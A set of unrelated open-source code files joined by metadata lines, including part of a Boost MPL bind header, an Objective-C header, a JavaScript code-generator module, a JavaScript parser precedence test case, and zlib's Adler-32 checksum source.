typedef aux::resolve_bind_arg< T1,U1,U2,U3,U4,U5 > t1;
typedef aux::resolve_bind_arg< T2,U1,U2,U3,U4,U5 > t2;
typedef aux::resolve_bind_arg< T3,U1,U2,U3,U4,U5 > t3;
typedef aux::resolve_bind_arg< T4,U1,U2,U3,U4,U5 > t4;
typedef aux::resolve_bind_arg< T5,U1,U2,U3,U4,U5 > t5;
public:
typedef typename apply_wrap5<
f_
, typename t1::type, typename t2::type, typename t3::type
, typename t4::type, typename t5::type
>::type type;
};
};
namespace aux {
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
aux::yes_tag
is_bind_helper(bind5< F,T1,T2,T3,T4,T5 >*);
} // namespace aux
BOOST_MPL_AUX_ARITY_SPEC(6, bind5)
BOOST_MPL_AUX_TEMPLATE_ARITY_SPEC(6, bind5)
namespace aux {
template<>
struct bind_chooser<5>
{
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct result_
{
typedef bind5< F,T1,T2,T3,T4,T5 > type;
};
};
} // namespace aux
namespace aux {
template< typename T >
struct is_bind_arg
{
BOOST_STATIC_CONSTANT(bool, value = true);
};
template<>
struct is_bind_arg<na>
{
BOOST_STATIC_CONSTANT(bool, value = false);
};
template<
typename T1, typename T2, typename T3, typename T4, typename T5
>
struct bind_count_args
{
BOOST_STATIC_CONSTANT(int, value =
is_bind_arg<T1>::value + is_bind_arg<T2>::value
+ is_bind_arg<T3>::value + is_bind_arg<T4>::value
+ is_bind_arg<T5>::value
);
};
}
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct bind
: aux::bind_chooser<
aux::bind_count_args< T1,T2,T3,T4,T5 >::value
>::template result_< F,T1,T2,T3,T4,T5 >::type
{
};
BOOST_MPL_AUX_ARITY_SPEC(
6
, bind
)
BOOST_MPL_AUX_TEMPLATE_ARITY_SPEC(
6
, bind
)
}}
| {
"pile_set_name": "Github"
} |
<div>
Use relative links for jobs in this pipeline view to allow for easier navigation.
When drilling down on a job from the pipeline view, the name of the view is shown in the navigation menu.
</div>
| {
"pile_set_name": "Github"
} |
/*
Copyright 2017 Vector Creations Ltd
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#import "RoomMembershipBubbleCell.h"
/**
`RoomMembershipWithPaginationTitleBubbleCell` displays a membership event with a pagination title.
*/
@interface RoomMembershipWithPaginationTitleBubbleCell : RoomMembershipBubbleCell
@property (weak, nonatomic) IBOutlet UIView *paginationTitleView;
@property (weak, nonatomic) IBOutlet UILabel *paginationLabel;
@property (weak, nonatomic) IBOutlet UIView *paginationSeparatorView;
@end
| {
"pile_set_name": "Github"
} |
function Coder(req) {
this.action = null;
this.endpoint = null;
this.args = null;
this.wait = null;
this.want = null;
this.returns = null;
this.exceptions = false;
req.inherit(this);
}
/**
* Generic language class with a bunch of functions
* that might need to be overloaded depending on the lang chosen.
*/
function Language(lang) {
lang.typeStringMap = {
str: "str",
int: "int",
float: "float",
list: "list",
bool: "bool",
dict: "dict"
};
for(var p in Language.prototype) {
lang[p] = Language.prototype[p];
}
}
Language.prototype = {
getActionVar: function() {
return this.actionVars[this.req.action];
},
renderTypes: function(t) {
return t.join(", ");
},
renderArgs: function(r) {
return r.join(", ");
},
/**
* Actual function that creates the code snippet
*/
generate: function() {
return this.coder.start();
},
properTypeStr: function(t) {
return this.typeStringMap[t];
},
quotes: function(obj) {
return '"' + obj + '"';
},
newline: function(num) {
return "\n";
},
tabs: function(num) {
return " ";
},
capitalize: function(s) {
return s.charAt(0).toUpperCase() + s.slice(1);
}
};
exports.Language = Language;
exports.Coder = Coder;
| {
"pile_set_name": "Github"
} |
package fr.leomelki.loupgarou.events;
import fr.leomelki.loupgarou.classes.LGGame;
public class LGDayEndEvent extends LGEvent{
public LGDayEndEvent(LGGame game) {
super(game);
}
} | {
"pile_set_name": "Github"
} |
# Tenko parser test case
- Path: tests/testcases/operator_precedent/various_priority_checks_GENERATED/order_3_28generated_2b_213d_7c_2a2a_2a_5e_7c7c_2626_3e3d_26_3e3e3e29.md
> :: operator precedent : various priority checks GENERATED
>
> ::> order 3 28generated 2b 213d 7c 2a2a 2a 5e 7c7c 2626 3e3d 26 3e3e3e29
## Input
`````js
a >>> b & c >= d && e || f ^ g * h ** i | j != k
`````
## Output
_Note: the whole output block is auto-generated. Manual changes will be overwritten!_
Below follow outputs in five parsing modes: sloppy, sloppy+annexb, strict script, module, module+annexb.
Note that the output parts are auto-generated by the test runner to reflect actual result.
### Sloppy mode
Parsed with script goal and as if the code did not start with strict mode header.
`````
ast: {
type: 'Program',
loc:{start:{line:1,column:0},end:{line:1,column:48},source:''},
body: [
{
type: 'ExpressionStatement',
loc:{start:{line:1,column:0},end:{line:1,column:48},source:''},
expression: {
type: 'LogicalExpression',
loc:{start:{line:1,column:0},end:{line:1,column:48},source:''},
left: {
type: 'LogicalExpression',
loc:{start:{line:1,column:0},end:{line:1,column:21},source:''},
left: {
type: 'BinaryExpression',
loc:{start:{line:1,column:0},end:{line:1,column:16},source:''},
left: {
type: 'BinaryExpression',
loc:{start:{line:1,column:0},end:{line:1,column:7},source:''},
left: {
type: 'Identifier',
loc:{start:{line:1,column:0},end:{line:1,column:1},source:''},
name: 'a'
},
operator: '>>>',
right: {
type: 'Identifier',
loc:{start:{line:1,column:6},end:{line:1,column:7},source:''},
name: 'b'
}
},
operator: '&',
right: {
type: 'BinaryExpression',
loc:{start:{line:1,column:10},end:{line:1,column:16},source:''},
left: {
type: 'Identifier',
loc:{start:{line:1,column:10},end:{line:1,column:11},source:''},
name: 'c'
},
operator: '>=',
right: {
type: 'Identifier',
loc:{start:{line:1,column:15},end:{line:1,column:16},source:''},
name: 'd'
}
}
},
operator: '&&',
right: {
type: 'Identifier',
loc:{start:{line:1,column:20},end:{line:1,column:21},source:''},
name: 'e'
}
},
operator: '||',
right: {
type: 'BinaryExpression',
loc:{start:{line:1,column:25},end:{line:1,column:48},source:''},
left: {
type: 'BinaryExpression',
loc:{start:{line:1,column:25},end:{line:1,column:39},source:''},
left: {
type: 'Identifier',
loc:{start:{line:1,column:25},end:{line:1,column:26},source:''},
name: 'f'
},
operator: '^',
right: {
type: 'BinaryExpression',
loc:{start:{line:1,column:29},end:{line:1,column:39},source:''},
left: {
type: 'Identifier',
loc:{start:{line:1,column:29},end:{line:1,column:30},source:''},
name: 'g'
},
operator: '*',
right: {
type: 'BinaryExpression',
loc:{start:{line:1,column:33},end:{line:1,column:39},source:''},
left: {
type: 'Identifier',
loc:{start:{line:1,column:33},end:{line:1,column:34},source:''},
name: 'h'
},
operator: '**',
right: {
type: 'Identifier',
loc:{start:{line:1,column:38},end:{line:1,column:39},source:''},
name: 'i'
}
}
}
},
operator: '|',
right: {
type: 'BinaryExpression',
loc:{start:{line:1,column:42},end:{line:1,column:48},source:''},
left: {
type: 'Identifier',
loc:{start:{line:1,column:42},end:{line:1,column:43},source:''},
name: 'j'
},
operator: '!=',
right: {
type: 'Identifier',
loc:{start:{line:1,column:47},end:{line:1,column:48},source:''},
name: 'k'
}
}
}
}
}
]
}
tokens (23x):
IDENT PUNC_GT_GT_GT IDENT PUNC_AND IDENT PUNC_GT_EQ IDENT
PUNC_AND_AND IDENT PUNC_OR_OR IDENT PUNC_CARET IDENT PUNC_STAR
IDENT PUNC_STAR_STAR IDENT PUNC_OR IDENT PUNC_EXCL_EQ IDENT ASI
`````
### Strict mode
Parsed with script goal but as if it was starting with `"use strict"` at the top.
_Output same as sloppy mode._
### Module goal
Parsed with the module goal.
_Output same as sloppy mode._
### Sloppy mode with AnnexB
Parsed with script goal with AnnexB rules enabled and as if the code did not start with strict mode header.
_Output same as sloppy mode._
### Module goal with AnnexB
Parsed with the module goal with AnnexB rules enabled.
_Output same as sloppy mode._
## AST Printer
Printer output different from input [sloppy][annexb:no]:
````js
(((((a >>> b) & (c >= d)) && e)) || ((f ^ (g * (h ** i))) | (j != k)));
````
Produces same AST
| {
"pile_set_name": "Github"
} |
/* adler32.c -- compute the Adler-32 checksum of a data stream
* Copyright (C) 1995-2007 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#include "zutil.h"
#define local static
local uLong adler32_combine_(uLong adler1, uLong adler2, z_off64_t len2);
#define BASE 65521UL /* largest prime smaller than 65536 */
#define NMAX 5552
/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */
#define DO1(buf,i) {adler += (buf)[i]; sum2 += adler;}
#define DO2(buf,i) DO1(buf,i); DO1(buf,i+1);
#define DO4(buf,i) DO2(buf,i); DO2(buf,i+2);
#define DO8(buf,i) DO4(buf,i); DO4(buf,i+4);
#define DO16(buf) DO8(buf,0); DO8(buf,8);
/* use NO_DIVIDE if your processor does not do division in hardware */
#ifdef NO_DIVIDE
# define MOD(a) \
do { \
if (a >= (BASE << 16)) a -= (BASE << 16); \
if (a >= (BASE << 15)) a -= (BASE << 15); \
if (a >= (BASE << 14)) a -= (BASE << 14); \
if (a >= (BASE << 13)) a -= (BASE << 13); \
if (a >= (BASE << 12)) a -= (BASE << 12); \
if (a >= (BASE << 11)) a -= (BASE << 11); \
if (a >= (BASE << 10)) a -= (BASE << 10); \
if (a >= (BASE << 9)) a -= (BASE << 9); \
if (a >= (BASE << 8)) a -= (BASE << 8); \
if (a >= (BASE << 7)) a -= (BASE << 7); \
if (a >= (BASE << 6)) a -= (BASE << 6); \
if (a >= (BASE << 5)) a -= (BASE << 5); \
if (a >= (BASE << 4)) a -= (BASE << 4); \
if (a >= (BASE << 3)) a -= (BASE << 3); \
if (a >= (BASE << 2)) a -= (BASE << 2); \
if (a >= (BASE << 1)) a -= (BASE << 1); \
if (a >= BASE) a -= BASE; \
} while (0)
# define MOD4(a) \
do { \
if (a >= (BASE << 4)) a -= (BASE << 4); \
if (a >= (BASE << 3)) a -= (BASE << 3); \
if (a >= (BASE << 2)) a -= (BASE << 2); \
if (a >= (BASE << 1)) a -= (BASE << 1); \
if (a >= BASE) a -= BASE; \
} while (0)
#else
# define MOD(a) a %= BASE
# define MOD4(a) a %= BASE
#endif
/* ========================================================================= */
uLong ZEXPORT adler32(adler, buf, len)
uLong adler;
const Bytef *buf;
uInt len;
{
unsigned long sum2;
unsigned n;
/* split Adler-32 into component sums */
sum2 = (adler >> 16) & 0xffff;
adler &= 0xffff;
/* in case user likes doing a byte at a time, keep it fast */
if (len == 1) {
adler += buf[0];
if (adler >= BASE)
adler -= BASE;
sum2 += adler;
if (sum2 >= BASE)
sum2 -= BASE;
return adler | (sum2 << 16);
}
/* initial Adler-32 value (deferred check for len == 1 speed) */
if (buf == Z_NULL)
return 1L;
/* in case short lengths are provided, keep it somewhat fast */
if (len < 16) {
while (len--) {
adler += *buf++;
sum2 += adler;
}
if (adler >= BASE)
adler -= BASE;
MOD4(sum2); /* only added so many BASE's */
return adler | (sum2 << 16);
}
/* do length NMAX blocks -- requires just one modulo operation */
while (len >= NMAX) {
len -= NMAX;
n = NMAX / 16; /* NMAX is divisible by 16 */
do {
DO16(buf); /* 16 sums unrolled */
buf += 16;
} while (--n);
MOD(adler);
MOD(sum2);
}
/* do remaining bytes (less than NMAX, still just one modulo) */
if (len) { /* avoid modulos if none remaining */
while (len >= 16) {
len -= 16;
DO16(buf);
buf += 16;
}
while (len--) {
adler += *buf++;
sum2 += adler;
}
MOD(adler);
MOD(sum2);
}
/* return recombined sums */
return adler | (sum2 << 16);
}
/* ========================================================================= */
local uLong adler32_combine_(adler1, adler2, len2)
uLong adler1;
uLong adler2;
z_off64_t len2;
{
unsigned long sum1;
unsigned long sum2;
unsigned rem;
/* the derivation of this formula is left as an exercise for the reader */
rem = (unsigned)(len2 % BASE);
sum1 = adler1 & 0xffff;
sum2 = rem * sum1;
MOD(sum2);
sum1 += (adler2 & 0xffff) + BASE - 1;
sum2 += ((adler1 >> 16) & 0xffff) + ((adler2 >> 16) & 0xffff) + BASE - rem;
if (sum1 >= BASE) sum1 -= BASE;
if (sum1 >= BASE) sum1 -= BASE;
if (sum2 >= (BASE << 1)) sum2 -= (BASE << 1);
if (sum2 >= BASE) sum2 -= BASE;
return sum1 | (sum2 << 16);
}
/* ========================================================================= */
uLong ZEXPORT adler32_combine(adler1, adler2, len2)
uLong adler1;
uLong adler2;
z_off_t len2;
{
return adler32_combine_(adler1, adler2, len2);
}
uLong ZEXPORT adler32_combine64(adler1, adler2, len2)
uLong adler1;
uLong adler2;
z_off64_t len2;
{
return adler32_combine_(adler1, adler2, len2);
}
| {
"pile_set_name": "Github"
} |
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# LOCALIZATION NOTE (intl.ellipsis): Use the unicode ellipsis char, \u2026,
# or use "..." if \u2026 doesn't suit traditions in your locale.
intl.ellipsis=…
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.